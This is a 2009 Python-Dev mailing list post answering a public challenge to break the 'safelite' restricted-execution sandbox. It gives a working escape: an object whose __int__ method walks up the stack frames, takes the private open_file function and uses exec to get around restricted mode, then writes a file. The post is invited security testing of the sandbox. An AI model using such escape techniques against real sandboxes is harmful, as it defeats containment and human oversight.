[Python-Dev] Challenge: Please break this! [Now with blog post]

Andrew Dalke dalke at dalkescientific.com
Tue Feb 24 12:51:29 CET 2009


Another hole. Not as devious as some, but easy to fix with yet another
type check.

This trick notices 'buffering' is passed to open, which does an int
coerce of non-int objects. I can look up the stack frames and get
"open_file", which I can then use for whatever I want.

In this case, I used the hole to reimplement 'open' in its entirety.

import safelite

class GetAccess(object):
    def __init__(self, filename, mode, buffering):
        self.filename = filename
        self.mode = mode
        self.buffering = buffering
        self.f = None

    def __int__(self):
        # Get access to the calling frame.
        # (Strange that that function is available, but I
        # could do it the old-fashioned way and raise/
        # catch and exception)
        frame = safelite.get_frame(1)

        # Look at that nice function right there.
        open_file = frame.f_locals["open_file"]

        # Get around restricted mode
        locals_d = {}
        exec """
def breakout(open_file, filename, mode, buffering):
    return open_file(filename, mode, buffering)
""" in frame.f_globals, locals_d
        del frame

        # Call the function
        self.f = locals_d["breakout"](open_file, self.filename,
self.mode, self.buffering)

        # Jump outta here
        raise TypeError

def open(filename, mode="r", buffering=0):
    get_access = GetAccess(filename, mode, buffering)
    try:
        safelite.FileReader("whatever", "r", get_access)
    except TypeError:
        return get_access.f

f = open("busted.txt", "w")
f.write("Broke out of jail!\n")
f.close()

print "Message is:", repr(open("busted.txt").read())


                                Andrew Dalke
                                dalke at dalkescientific.com


More information about the Python-Dev mailing list